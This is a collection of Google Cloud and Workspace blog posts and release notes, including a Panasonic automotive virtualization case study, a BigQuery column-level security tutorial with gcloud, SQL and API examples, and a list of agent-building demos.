Panasonic Automotive leverages C4A-metal to bypass traditional hardware bottlenecks, enabling their teams to execute complex virtualization tasks and accelerate the development of next-generation cockpit software.

"Google Cloud’s Axion Bare Metal has been a game-changer for our vSkipGen™ platform. By providing scalable, high-performance Arm-based infrastructure, C4A-metal allows our teams to develop and test production-intent software in the cloud with behavior that closely matches target automotive hardware. This cloud-to-car bit parity reduces dependence on costly physical prototypes, improves validation efficiency, increases test coverage and accelerates time-to-market for next-generation cockpit platforms.” - Andrew Poliak, CTO, Panasonic Automotive Systems America.

By leveraging vSkipGen and Unified HMI on C4A-metal, automotive manufacturers can now build, test, and validate full AAOS stacks in a hardware-independent, cloud-native environment, moving from physical dependency to scalable digital twins.

Figure 1: Unified HMI solution overview

How vSkipGen works: Virtualizing the cockpit with Cuttlefish

Panasonic Automotive’s vSkipGen acts as a digital twin for physical CDC hardware. To provide a hardware-agnostic environment for Android virtual machines, vSkipGen uses components of Android Cuttlefish. At its core, vSkipGen leverages a cloud-optimized Virtual Machine Monitor (VMM) built on crosvm (the open-source, security-focused VMM originally developed for Chrome OS) which utilizes Linux KVM (Kernel-based Virtual Machine) for hardware-assisted virtualization. The VMM backend is implemented in Rust for enhanced security, scalability, and performance. By running the full stack on C4A-metal (see Figure 2), Panasonic lets developers boot a full AAOS image in the cloud, which behaves exactly like the software running in a physical vehicle.

The platform virtualizes all essential peripherals, such as the audio, GPU, sensors, cameras, Controller Area Network (CAN), Bluetooth, and Wi-Fi, using the VirtIO standard. This VirtIO-native approach allows developers to interact with the virtual devices exactly as they would with the physical hardware. Furthermore, vSkipGen seamlessly connects with automotive simulators and software-in-the-loop (SiL) environments for comprehensive scenario and edge-case validation, enabling teams to conduct software validation and run automated test suites without needing early access to physical prototypes.

Figure 2: vSkipGen Cockpit virtualization architecture

Figure 3: Remote GPU rendering flow

Accelerating graphics on the go with Unified HMI

High-performance graphics is central to the modern driving experience, but rendering it in a virtual environment can be challenging. Panasonic’s Unified HMI solves this by decoupling HMI rendering from specific hardware. A lightweight Unified HMI component operates outside the VM to offload OpenGL ES commands (the specific data being rendered) from the Cuttlefish instance to GPU-equipped compute resources on Google Cloud, which handle the workloads with hardware acceleration. The rendered UI is then streamed to any standard browser using low-latency WebRTC. This helps ensure that global development teams can experience high-fidelity visuals in real time, regardless of their location.

Unified HMI establishes a unified virtual display layer across multiple Electronic Control Units (ECUs) and virtual machines, allowing applications to render to different displays from anywhere within the system.

Benefits for software-defined vehicle development

With C4A-metal and Panasonic Automotive’s vSkipGen, manufacturers building software-defined vehicles can:

Build and validate AAOS-based software in the cloud using Cuttlefish before physical hardware is available
Use industry-standard VirtIO to emulate critical CDC devices for robust, production-grade validation
Stream interactive cockpit experiences to any browser to support distributed engineering teams
Run multiple isolated CDC instances in parallel to support large-scale automated testing and CI/CD pipelines
Reduce cost and environmental impact by minimizing the need for expensive physical hardware prototypes, supporting sustainable development practices
Enjoy a future-ready architecture built on open standards, crosvm, and Rust for enhanced security, performance, and long-term adaptability

Get started

C4A-metal is generally available worldwide; please refer to the public documentation for additional information. Panasonic Automotive’s vSkipGen with Unified HMI for Google Cloud will soon be available for evaluation access. To explore how these solutions can help you speed up cockpit software development, contact the team at vSkipGenSupport@panasonicautomotive.com.

_{Disclaimer
All trademarks, tradenames, and service marks used herein are the property of their respective owners.}

Upcoming Changes to the Nearby Connections API

2026-07-20T13:00:00+00:00

Posted by Wei Wang, Engineering Manager, Android BeTo

User privacy and transparency are core to the Android experience. To better align with these principles, we are updating the default behavior of the Nearby Connections API regarding how it interacts with device radios.

What is changing?

Previously, the Nearby Connections API could automatically toggle Wi-Fi and Bluetooth radios ON to facilitate connections without explicit user intervention. Moving forward, the API will no longer automatically enable these radios for 1P and 3P applications.

What this means for developers

If your app relies on Nearby Connections, you will need to update your implementation to account for these changes:

Manual Radio Management: You must ensure that the necessary radios (Wi-Fi or Bluetooth) are enabled before initiating Nearby Connections tasks.
User Notification: If the required radios are disabled, your app must now inform the user and request that they enable them manually. The API will no longer programmatically turn them on for you.

Timing

These changes are scheduled to take effect in late 2026. We recommend reviewing your connection workflows now to ensure a seamless transition for your users.

Cloud Release Notes — July 20, 2026

2026-07-20T07:00:00+00:00

Batch

Breaking

Starting on the following dates, you can no longer create a job that locates its Compute Engine resources outside of the job's location.

For projects that have successfully submitted before July 31, 2026 at least one job that uses the allowedLocations[] field with any region or zones outside of the job's location, changes are starting on June 30, 2027.
For all other projects, changes are starting on July 31, 2026.

If none of your jobs specify the allowedLocations[] field, then no action is required. Otherwise, ensure that any region or zones specified in the allowedLocations[] field are in the same region as the job's location before these dates. For more information, see Batch locations.

Cloud Load Balancing

Feature

For regional external passthrough Network Load Balancers, you can reserve specific or automatically allocated bring your own IP (BYOIP) IPv6 addresses before creating a load balancer, so that the IPv6 address persists independently of the load balancer's lifecycle. You can also promote an ephemeral BYOIP IPv6 address that is in use by a load balancer to a reserved static IP address.

For more information, see the following documentation:

This feature is in Preview.

Virtual Private Cloud

Feature

Preview: You can reserve static external IPv6 addresses from bring your own IP addresses (BYOIP) sub-prefixes that are in EXTERNAL_IPV6_FORWARDING_RULE_CREATION mode.

You can assign these addresses to forwarding rules for external passthrough Network Load Balancers and external protocol forwarding. You can also promote ephemeral IPv6 BYOIP addresses that are used by external forwarding rules to reserved static IP addresses.

For more information, see Create external forwarding rules.

Cloud Release Notes — July 19, 2026

2026-07-19T07:00:00+00:00

Google SecOps SOAR

Announcement

Release 6.3.94 is being rolled out to the first phase of regions as listed here.

This release contains internal and customer bug fixes.

Cloud Release Notes — July 18, 2026

2026-07-18T07:00:00+00:00

Google SecOps SOAR

Announcement

Release 6.3.93 is now available for all regions.

Google Workspace Weekly Recap - July 17, 2026

2026-07-17T19:38:37+00:00

Google Credential Provider for Windows (GCPW) now supports FIDO2-compliant physical security keys as a second factor for authentication

Google Credential Provider for Windows (GCPW) has been updated to support FIDO2-compliant physical security keys as a second factor for authentication. This update helps organizations improve their security posture by enabling administrators to enforce 2-Step Verification (2SV) using hardware security keys at the Windows login screen. | Learn more.

Improvement to in-room problem reporting for Google Meet hardware

Maintaining an enterprise-grade video conferencing environment requires visibility into the health of its devices. We're introducing new ways to see Google Meet hardware user-reported feedback directly in the Admin console. | Learn more.

New refinement capabilities allow custom editing with Help me write in Gmail

Now available: group conversations with external collaborators in Google Chat

For many teams, it’s essential to be able to work in real-time with partners from outside your organization. We’re improving external collaboration in Google Chat by making it possible to create group conversations that include external users. | Learn more.

NotebookLM is now Gemini Notebook

We’re renaming NotebookLM to Gemini Notebook. While it remains a standalone product focused on being your premier research tool, the new name reflects how it will evolve to do more across the Google ecosystem. | Learn more.

Easily control the emotions and pacing of AI avatars and AI voiceovers in Google Vids

Users can now easily steer voiceover and avatar speaking in Google Vids by typing content within brackets like “[excitedly]”. | Learn more.

Expanded language support for Gemini in Google Docs

We are now expanding support for these features to 11 more languages, including Mandarin, Dutch, Malay, Hebrew, Polish, Turkish, Czech, Indonesian, Swedish, Danish, and Norwegian. These new additions join our previously supported languages: English, Spanish, Portuguese, Japanese, French, Korean, German, and Italian. | Learn more.

Generate higher quality AI video clips and edit any video with Gemini Omni in Vids

Users now have access to Gemini Omni directly within Google Vids. Omni provides higher quality video generation with significant improvements over previous models. Additionally, Omni’s world understanding unlocks simple video edits so you can ask Omni to tweak the video you have to get the video you need. | Learn more.

Cast yourself in AI video clips using your personal avatar with Gemini Omni in Vids

Users now have access to Gemini Omni directly within Google Vids. With Gemini Omni, you can create videos using your personal avatar to scale your presence without the studio time. Use a secure verification process to capture your likeness and then select it as a character in Omni generations within Vids. | Learn more.

New Google Meet 'Take notes for me' settings for admins and end users

To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet. | Learn more.

The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.

Level Up Your Column-level Security: Using IAM Data Governance Tags in BigQuery

2026-07-17T16:00:00+00:00

Many BigQuery customers rely on policy tags for protecting their sensitive information in BigQuery. Policy tags were the go-to solution for applying column-level access controls, allowing only users with the right permission to view sensitive columns like personally identifiable information (PII). It was a robust and effective system — for its time.

However, data ecosystems have grown in complexity, and the tools we use to help secure them need to evolve with them. New challenges include creating and managing a taxonomy that supports multiple tags across multiple regions and locations, enabling disaster recovery, and integrating with a broad centralized governance strategy.

To help you meet the needs of today’s data ecosystems, we're excited to introduce the preview of data governance tags in BigQuery. Built on Google Cloud's Identity and Access Manager’s (IAM) Resource Manager infrastructure, data governance tags provide a scalable, and robust method to help you manage access controls and protect your BigQuery column data.

What are IAM data governance tags?

Data governance tags are a special type of Resource Manager tags. You can create it by setting the purpose field to DATA_GOVERNANCE when creating a tag key in IAM, you designate it for use in BigQuery column-level security. You can create a hierarchical tree of data governance tags specifically for column-data governance purposes and apply them directly to your BigQuery columns.

Why use data governance tags for column-level security?

Global scope, regional enforcement: Unlike policy tags (which are regional-only), data governance tags are global. You can define a single tag key:value pair (like “data_sensitivity:high”) at the organization level and use it across any project or region in your organization.
Managed disaster recovery: Security policies should persist during a failover. Data governance tags and their associated data policies are automatically replicated to secondary regions. If you need to switch regions, your security posture moves with you automatically.
Hierarchical security: You can now build a tree of tags up to five levels deep. This allows for inheritance and more granular classification (such as PII > Financial > CreditCardNumber).
Decoupled governance: You can tag your data to organize and classify it before you decide to enforce security. Access control only kicks in once you define a data policy for that tag, giving your team more flexibility during data onboarding.

Three steps to column-level security

Step 1: Create the tag key and values

1. Create data governance tag key: First you create an IAM tag key in Console, gcloud CLI, or API. The magic happens when you specify the purpose field as --purpose=DATA_GOVERNANCE for the tag key. This key change tells Google Cloud that this tag will be used for column-level security in BigQuery.

code_block: <ListValue: [StructValue([('code', '# Example: Creating a Data Governance tag key named "data_class"\r\ngcloud resource-manager tags keys create data_class \\\r\n --parent=projects/my-governance-project \\\r\n --purpose=DATA_GOVERNANCE'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab36ab880>)])]>

2. Create tag values:

Once your data governance tag key has been created, you need to create specific tag values under the key that you will use to categorize/classify your column data. One of the useful features of data governance tags is the ability to build a hierarchical tree of tag values. The tag-values tree allows you to create broad categories and then drill down into specific categories based on data type. You can go up to five levels deep for granular access control.

code_block: <ListValue: [StructValue([('code', '# Level 1: Create a tag value called "pii"\r\ngcloud resource-manager tags values create pii \\\r\n --parent=my-governance-project/data_class\r\n\r\n\r\n# Level 2: Create a child value under "pii" for "private" data\r\ngcloud resource-manager tags values create private \\\r\n --parent=my-governance-project/data_class/pii\r\n\r\n\r\n# Level 3: Create another child tag value for "email" under "private"\r\n# You can go up to 5 levels deep for granular control\r\ngcloud resource-manager tags values create email \\\r\n --parent=my-governance-project/data_class/private'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab36ab070>)])]>

Step 2: Attach tags to your columns via JSON schema

1. Export your existing schema

For existing tables, the most efficient way to manage tags is by updating the table schema using a JSON file and using API or BQ CLI because it allows you to tag multiple columns at once.

code_block: <ListValue: [StructValue([('code', '# Save the current table schema to a local JSON file.\r\nbq show --schema --format=prettyjson my_project:my_dataset.my_table > schema.json'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab36ab6d0>)])]>

2. Add the dataGovernanceTags to your JSON file

Open schema.json and add the tag mapping to your sensitive columns. Note the use of the namespaced key and the short name for the value.

code_block: <ListValue: [StructValue([('code', '[\r\n {\r\n "name": "user_email",\r\n "type": "STRING",\r\n "dataGovernanceTagsInfo": {\r\n "dataGovernanceTags": {\r\n "my-governance-project/data_class": "email" \r\n }\r\n }\r\n },\r\n {\r\n "name": "phone_number",\r\n "type": "STRING",\r\n "dataGovernanceTagsInfo": {\r\n "dataGovernanceTags": {\r\n "my-governance-project/data_class": "private"\r\n }\r\n }\r\n },\r\n {\r\n "name": "government_id",\r\n "type": "STRING",\r\n "dataGovernanceTagsInfo": {\r\n "dataGovernanceTags": {\r\n "my-governance-project/data_class": "pii"\r\n }\r\n }\r\n }\r\n]'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab36abdf0>)])]>

3. Update the table:

Apply the schema to your BigQuery table.

code_block: <ListValue: [StructValue([('code', '# Overwrite the table schema with your newly tagged JSON file.\r\nbq update --project_id=my-data-project --schema=schema.json my_dataset.my_table'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab36ab580>)])]>

Alternatively you can also use SQL to bind data governance tags to BigQuery table columns.

code_block: <ListValue: [StructValue([('code', "CREATE OR REPLACE TABLE my_dataset.my_table(\r\n user_email STRING\r\n OPTIONS (\r\n data_governance_tags = [('my-governance-project/data_class', 'email')]),\r\n );\r\nALTER TABLE my_dataset.my_table\r\nALTER COLUMN phone_number\r\n SET OPTIONS (\r\n data_governance_tags = [('my-governance-project/data_class', 'private')]);\r\nALTER TABLE my_dataset.my_table\r\nADD COLUMN government_id\r\n STRING\r\n OPTIONS (\r\n data_governance_tags = [('my-governance-project/data_class', 'pii')]);"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab36ab2e0>)])]>

You can also remove a column tag by setting it to [], for example:

code_block: <ListValue: [StructValue([('code', 'ALTER TABLE my_dataset.my_table\r\nALTER COLUMN phone_number\r\n SET OPTIONS (\r\n data_governance_tags = []\r\n);'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ac04bfa60>)])]>

You can use information_schema COLUMNS view to see the columns tags:

code_block: <ListValue: [StructValue([('code', "SELECT\r\n column_name,\r\n data_governance_tags[SAFE_OFFSET(0)].key AS tag_key,\r\n data_governance_tags[SAFE_OFFSET(0)].value AS tag_value,\r\nFROM `my_project.my_dataset.INFORMATION_SCHEMA.COLUMNS`\r\nWHERE table_name = 'my_table'"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab3b216a0>)])]>

The result is similar to the following:

code_block: <ListValue: [StructValue([('code', '+---------------+----------------------------------+-----------+\r\n| column_name | tag_key | tag_value |\r\n+---------------+----------------------------------+-----------+\r\n| user_email | my-governance-project/data_class | email |\r\n| phone_number | my-governance-project/data_class | private |\r\n| government_id | NULL | NULL |\r\n+---------------+----------------------------------+-----------+'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab3b21250>)])]>

Step 3: Create data policies

Finally, define a BigQuery data policy to govern access to these tagged columns. These policies explicitly reference the tag values you attached previously. Note that, while data governance tags are global, data policies are regional.

To protect your data, the policy must be created in the same region where your BigQuery table is located. Once the policy is defined, access is only granted to the specified grantees; all others will be denied access to the sensitive column data.

Also, keep in mind that security in BigQuery is layered. For a data policy to be effective, the users (grantees) must first possess base-level access to the table itself (typically via a role like roles/bigquery.dataViewer). Data policy then acts as a second security layer, determining whether they view the raw, sensitive column data or a masked, obfuscated version.

Masking policy for ‘pii’ tagged column-data (SHA256 Masking):

code_block: <ListValue: [StructValue([('code', 'curl --request POST "https://bigquerydatapolicy.googleapis.com/v2/projects/myProject/locations/us-east1/dataPolicies" \\\r\n --header "Authorization: Bearer $(gcloud auth print-access-token)" \\\r\n --header \'Accept: application/json\' \\\r\n --header \'Content-Type: application/json\' \\\r\n --data \'{\r\n "dataPolicy": {\r\n "dataPolicyType": "DATA_MASKING_POLICY",\r\n "dataMaskingPolicy": { "predefinedExpression": "SHA256" },\r\n "grantees": [ "principalSet://goog/group/grp-sales@corp.com" ],\r\n "dataGovernanceTag": { "key": "myProject/data_class", "value": "pii" }\r\n },\r\n "dataPolicyId": "masking_policy_for_data_class_pii"\r\n}\' \\\r\n --compressed'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab3b21850>)])]>

Raw access policy for ‘pii’ tagged column-data

code_block: <ListValue: [StructValue([('code', 'curl --request POST "https://bigquerydatapolicy.googleapis.com/v2/projects/myProject/locations/us-east1/dataPolicies" \\\r\n --header "Authorization: Bearer $(gcloud auth print-access-token)" \\\r\n --header \'Accept: application/json\' \\\r\n --header \'Content-Type: application/json\' \\\r\n --data \'{\r\n "dataPolicy": {\r\n "dataPolicyType": "RAW_DATA_ACCESS_POLICY",\r\n "grantees": [ "principal://goog/subject/abc@xyz.com" ],\r\n "dataGovernanceTag": { "key": "myProject/data_class", "value": "pii" }\r\n },\r\n "dataPolicyId": "raw_access_policy_data_class_pii"\r\n}\' \\\r\n --compressed'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab3b217f0>)])]>

Masking policy for “private” tagged column data (NULL Masking):

code_block: <ListValue: [StructValue([('code', 'curl --request POST "https://bigquerydatapolicy.googleapis.com/v2/projects/myProject/locations/us-east1/dataPolicies" \\\r\n --header "Authorization: Bearer $(gcloud auth print-access-token)" \\\r\n --header \'Accept: application/json\' \\\r\n --header \'Content-Type: application/json\' \\\r\n --data \'{\r\n "dataPolicy": {\r\n "dataPolicyType": "DATA_MASKING_POLICY",\r\n "dataMaskingPolicy": { "predefinedExpression": "ALWAYS_NULL" },\r\n "grantees": [ "principal://goog/subject/abc@xyz.com" ],\r\n "dataGovernanceTag": { "key": "myProject/data_class", "value": "private" }\r\n },\r\n "dataPolicyId": "null_policy_data_class_private"\r\n}\' \\\r\n --compressed'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f6ab3c51a30>)])]>

With these three steps, your column data is now protected. The next time a principal queries your BigQuery table, our authorization engine automatically evaluates their identity against your data policies. If the principal is part of the policy, they get to see the masked or raw data as per the policy; if they are not, then they will be denied access.

Get started today

Data governance tags are a powerful new tool to enhance your data security and governance strategy in BigQuery. We are continuously working to enhance data governance capabilities in BigQuery. Future updates include support for using SQL to create tags and tag based policies, ability to attach multiple tags to a single column, ability to define policies based on combinations of tags, and deeper integrations with services like Knowledge Catalog.

You can start tagging your columns and defining fine-grained access controls at scale. To learn more, dive into the Data Governance Tags documentation.

13 hands-on demos to build on Gemini Enterprise Agent Platform

2026-07-17T16:00:00+00:00

Earlier this year, we introduced Gemini Enterprise Agent Platform, where you can build, scale, govern, and optimize agents. Today, we’re sharing 13 demos that walk you through what Agent Platform can do. Each one teaches a concept, a pattern, or an architecture you can put to work immediately.

The best part? You don't have to follow them step-by-step. Install Agents CLI into your favorite coding agent (Antigravity, Claude Code, Codex, whatever you use) and it instantly gets seven skills that make it an expert in ADK and Agent Platform. Describe what you want to build in plain English, and your coding agent scaffolds, evaluates, deploys, and monitors the agent for you. You’ll never have to leave your editor.

Let’s dive in!

Build AI agents

These demos are all built on the code-first ADK. They start at the foundation and work up.

1. Start here: build your first agent with ADK. The ADK Foundation codelab is your perfect on-ramp. You set up your environment, define a basic conversational agent powered by Gemini, configure its settings, and test it through both a command-line interface and a web UI. If you've never touched ADK before, do this one first.

2. Build an event-driven approval agent with human-in-the-loop. The ambient expense agent codelab is the most complete "Agent Platform in action" demo in the set. You build a corporate expense agent using ADK 2.0's graph-based workflow API. Expenses under a threshold get auto-approved in plain Python. Anything above goes through a pre-LLM security screen (PII redaction, prompt-injection defense), passes a Gemini compliance analysis, and pauses for a human-in-the-loop review before anything is finalized. You mount it behind FastAPI, trigger it from Pub/Sub events, and grade it with an LLM-as-judge eval. Keep this agent in mind – it comes back in the Scale and Govern sections.

3. Connect agents to your data with the Model Context Protocol. The MCP codelab shows you how to build reusable MCP tools that let Gemini query BigQuery, search files, and call APIs. MCP is an open protocol, so the tools you build work across different vendors and frameworks.

4. Build a dynamic frontend with Agent-to-UI (A2UI). The best user experiences are highly visual. The A2UI codelab shows you how to build an agent that renders real interface components (layouts, charts, interactive menus) that update dynamically in real time as the conversation flows. The agent literally assembles the UI the user needs, on the fly.

Scale AI agents

A prototype on your laptop is one thing. Handling production traffic, memory, and orchestration is what comes next.

5. Deploy a stateful data science agent to Agent Runtime (formerly known as Agent Engine). The Stateful Data Science Agent codelab walks you through building a BigQuery agent that remembers user preferences across sessions via Memory Bank, then deploying it directly to Agent Runtime. All of the underlying infrastructure, scaling, and session management are handled for you automatically.

6. Build long-running agents that pause, resume, and never lose context. Building an agent that responds to a single prompt is easy, but real enterprise workflows often take days or weeks to complete. This tutorial walks through building agents that run reliably for weeks. You'll learn three architectural patterns: durable state machines, event-driven idle time handling, and checkpoint-and-resume with persistent sessions. The example is an onboarding coordinator agent that survives container restarts and picks up exactly where it left off.

7. Deploy an ambient expense agent to Agent Runtime with the Agents CLI. Remember the expense agent from the Build section? The Deploy to Agent Runtime codelab picks up that agent and takes it to production. You scaffold your deployment config with the Agents CLI, preview it with a dry run, then deploy it live. Cloud Trace, Cloud Logging, and BigQuery Agent Analytics wire in automatically, and the agent auto-registers in Agent Registry, so it’s discoverable across your org the moment it goes live.

8. Give your production agent a real front end. The frontend codelab is where everything comes together. You build a manager dashboard on Cloud Run, connect it to Agent Runtime through an OIDC-authenticated Pub/Sub pipeline, and give managers the ability to resume paused human-in-the-loop sessions from the browser. It ties the expense agent and the deployment together into a complete end-to-end enterprise architecture.

Govern AI agents

Scaling agents across an organization requires a system of built-in guardrails to manage access, track endpoints, and filter traffic.

9. Secure your agent's lifecycle from the first commit. The Secure Agentic Coding codelab shows you how to build a shopping assistant test-first with test-driven development (TDD), wire in a custom STRIDE threat model, set up a Semgrep pre-commit hook, and configure a PreToolUse gate that blocks risky actions before execution. You deliberately plant a hardcoded API key, and the agent catches and fixes it the moment the hook fires.

10. Control agent access with Agent Gateway. The Agent Gateway codelab covers runtime governance. You deploy a multi-tool ADK agent on Agent Runtime that calls MCP servers on Cloud Run through Agent Gateway. Each agent gets a unique identity with end-to-end mTLS. Every outbound call goes through IAP authentication and IAM authorization. On top of that, Model Armor inspects all content for prompt injection and data leakage. It’s a complete, production-grade governance stack in one demo.

Optimize AI agents

Shipping an agent is the start. The hard part is knowing whether your next prompt tweak actually makes it better or quietly breaks ten other things. Agent Platform gives you the tools to close that loop.

11. Drive the agent quality flywheel from your coding agent. You tweaked a prompt. It looks better on three examples, but did you just break ten others? This tutorial introduces a five-stage evaluation flywheel you run directly from your coding agent: prepare data (from OTel traces, hand-crafted cases, or synthesized scenarios), run inference, grade with Google's adaptive AutoRaters, analyze failure clusters, and execute targeted optimizations. The AutoRaters are built on the same principles Google uses to evaluate its own models and first-party agents, developed in partnership with DeepMind. Describe what you want measured in plain language. Your coding agent picks up the rest.

12. Build a cross-language multi-agent pipeline with A2A. In a large enterprise, different teams will inevitably build agents in different languages. This tutorial walks through a contract compliance pipeline where a Python-based agent extracts terms using Gemini and a Go-based agent validates them against corporate policy. The two services connect via the Agent-to-Agent (A2A) protocol and are orchestrated by ADK. You'll learn how RemoteA2aAgent turns any A2A-compliant service into a local sub-agent with a few lines of code.

13. Scale agents across frameworks with CrewAI, LangGraph, A2A, and ADK. Most production teams don't standardize on one agent framework. The codelab shows you how to orchestrate across all of them: an ADK control room delegates planning to a LangGraph state machine, which dispatches tasks to a CrewAI execution crew, all connected via the A2A protocol. If one step fails, the control room re-plans automatically.

Get started

If you want to see the full agent development lifecycle in under 10 minutes, watch this walkthrough. Otherwise, install Agents CLI, open up your coding agent, and start building today.

Introducing Gemini 3.5 Flash Cyber

2026-07-17T15:00:11+00:00

Google introduces Gemini 3.5 Flash Cyber, a lightweight cybersecurity model to find and patch vulnerabilities.

Designing emoji for the way we communicate today

2026-07-17T14:25:00+00:00

A series of emoji's: pancakes, tennis, sloth, fried egg, squidthumbs up

Guide to AI Tokenomics: Eleven Principles for Token Efficient Software Engineering

2026-07-17T09:14:00+00:00

Optimizing token consumption is key to keeping AI coding assistants fast and accurate. You might not be writing every line of code any more, but now you’re responsible for directing those coding assistants to focus on getting the most out of each token. Context bloat increases latency and causes models to forget instructions or hallucinate, it also costs money and drives human attention away from the problems that actually matter. Structured habits help you maintain a fast, precise, and productive feedback loop.

1. Start with a balanced model

When you are unsure, start with the default Gemini 3.5 Flash (Medium reasoning). Gauge complexity as you go. Scale up to larger models or higher reasoning if a task fails, seems to take too many hops, or needs complex design.

2. Use skills from the beginning

Avoid explaining your workflow, testing rules, or environment in every prompt. Ask around, find online, or package your own reusable skills with SKILL.md files and scripts. The agent triggers them automatically, keeping prompts clean and avoiding unnecessarily searching for online docs or inspecting local code and environment.

3. Automate with scripts and CLI tools

For repetitive chores like formatting many files or extracting log data, have the agent create simple local tools. Use official CLI tools for setup, linting, and testing. Run read-only commands to research the codebase before writing code, avoiding long trial-and-error loops.

4. Delegate output-heavy tasks

Delegate output-heavy tasks, like deep research or separating frontend and backend work, to sub-agents. Once their work is done, you only reconcile the final results, rather than the full trajectory.

5. Divide and conquer

David Rensin wrote “Elephants, Goldfish and the New Golden Age of Software Engineering” that explains how to use high-reasoning, long-context sessions ("Elephant") to generate a detailed execution plan (the "Goldfish"). Execute that plan in a clean, low-token session. Checkpoint your progress often with commits or artifacts so you can restart from a clean state when context fills up.

6. Shift verification left

Automate testing early. Run local builds and unit and functional tests before doing UI testing. Tell the agent to perform the expensive smoke-test in the browser right before handoff. Save expensive verification loops for the very end of the milestone.

7. Undo when adrift

If the agent drifts and you know the fix, use the Undo button in the trajectory thread or revert your files. Do not pile corrective prompts on top of a broken state, which poisons the context.

8. Be specific with context

Be specific rather than micro-managing. A clear instruction with a few spelling errors is better than a grammatically accurate broad request. Similarly, pointing the agent to the exact file, section, or error you care about (with an obvious // SHOULD BE X, NOT Y, FIX THIS annotation) instead of sending it on an open-ended search in a 10k log quest goes a long way. Whenever possible, use inline comments, so the agent knows exactly where you want the fix.

9. Iterate on rules

If you keep correcting the agent's behavior, update your global rules in AGENTS.md or edit the skill. Fix the instructions instead of prompting the agent repeatedly, so the change persists.

10. Avoid uncontrolled loops

Supervisor loops that scan projects for pending work can find optimizations, but they can easily burn your entire token budget. If you run loops, set strict limits and stop conditions. High autonomy requires tighter guardrails and better evaluations. Do not let agents poll status in a loop; use event-driven wakeups.

11. Start new sessions for each new topic

If you are continuing on the same topic, using the same chat can allow the agent to reuse the existing context, but if you are changing the topic, start a new chat. The agent will be able to provide better answers with fewer tokens if it only pulls in the context that it needs.

Prioritize and spend wisely

Tokens aren’t infinite. Behind every LLM call is a real, physical machine doing work to produce output for you. Prioritize the projects and features you care about.

Token optimization is about directing the AI's attention. By using a tiered approach you keep development fast and output sharp, while optimizing spending. We hope these 11 principles will inspire you to find the right balance between steering and automation in your AI sessions.

Workspace Release Notes — July 17, 2026

2026-07-17T07:00:00+00:00

Chat API

Feature

Generally Available: You no longer need to manually configure a Google Chat app in the Google Cloud console for integrations that only use the Chat API to read data (for example, GetSpace, ListMessages) on behalf of a user using OAuth. For read-only actions, you only need to enable the API and create an OAuth client.

For more information, see Configure the Google Chat API.

Cloud Release Notes — July 17, 2026

2026-07-17T07:00:00+00:00

Batch

Feature

Instance flexibility is available in Preview. Instance flexibility lets you allow a job to run on multiple machine types that you specify and can optionally rank. Use instance flexibility to improve obtainability—the probability that resources are available to run your job. For example, by allowing multiple machine types, you can reduce the probability of resource availability errors and try to obtain Spot VMs that are less likely to be preempted.

To get started, see Improve resource obtainability for jobs.

New Google Meet 'Take notes for me' settings for admins and end users

2026-07-16T20:07:25+00:00

To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet.

Admin settings

Previously, admins could only enable or disable automatic note-taking for all meetings. Today, we’re starting to roll out a third option, which will allow admins to enable automatic note-taking only for meetings with three or more people.

Customers on Business Standard and Business Plus plans will soon see this setting turned ON by default; the setting will be OFF by default for customers on Enterprise Standard, Enterprise Plus, and Frontline Plus plans, as well as those with the Google AI Pro for Education add-on. There will be no impact to the end user experience on any plan before September 21, 2026. If you want to change your settings, you can do so in the Admin console.

If you currently participate in the Gemini Alpha program, and previously tested this setting, it may already be ON. Please review the current state of the settings for your organization in the Admin console before September 21, 2026.

End user settings

We’re also introducing a way for end users to enable note-taking only for meetings with three or more participants. Once the “For all meetings I host with 3+ guests” option rolls out, users should revisit their settings to confirm they’re configured as desired. This option will become available no sooner than September 21; stay tuned to the Workspace Updates blog to be notified when that rollout starts.

Getting started

Admins for Business Standard and Business Plus organizations: This new setting is ON by default. If you wish to change your settings, you should do so before September 21, 2026, to avoid any impact for end users. Visit the Help Center for more information on how to adjust these settings.
Admins for Enterprise Standard, Enterprise Plus, Frontline Plus, and Google AI Pro for Education organizations: This new setting is OFF by default. You can adjust this setting in the Admin console once it appears, but it will not affect the end user experience before September 21, 2026. Visit the Help Center for more information on how to adjust these settings.
Admins for organizations participating in Gemini Alpha program: Your settings may be impacted by previous configurations. Please review your settings before September 21, 2026, to ensure they’re configured correctly.
End users on all plans: The default set by admins will go into effect for end users no sooner than September 21, 2026. Users can override this default in the Meet user settings after that date. Visit the Help Center to learn more about Meeting settings for “take notes for me”.

Rollout pace

Admin setting

Rapid Release and Scheduled Release domains: Rolling out now, with expected completion by August 3, 2026

End user setting

Rapid Release and Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting no sooner than September 21, 2026*

*We’ll post an update on the Workspace Updates blog when the end user setting rollout begins.

Availability

Business: Business Standard and Plus
Enterprise: Enterprise Standard and Plus
Other Editions: Frontline Plus
Education Add-ons: Google AI Pro for Education

Resources

Google Meet Help: Take notes for me in Google Meet
Google Workspace Updates Blog: New user controls for Take notes for me

Cast yourself in AI video clips using your personal avatar with Gemini Omni in Vids

2026-07-16T20:06:53+00:00

Personal avatar user experience

Secure verification: Verify and manage your personal avatar directly within your Google Account.
Seamless integration: Easily add your personal avatar from the selector in Vids.
Administrative oversight: Admins can manage or disable this feature through the Admin console.

A note on language and region availability

At launch, personal avatars are available in English only for users 18 years and older. They’re not available in the European Economic Area, Switzerland, or the United Kingdom. Learn more about personal avatar privacy settings.

Getting started

Admins: This feature will be ON by default and can be disabled or enabled at the domain level. Visit the Help Center to learn more about managing personal avatars in Vids.
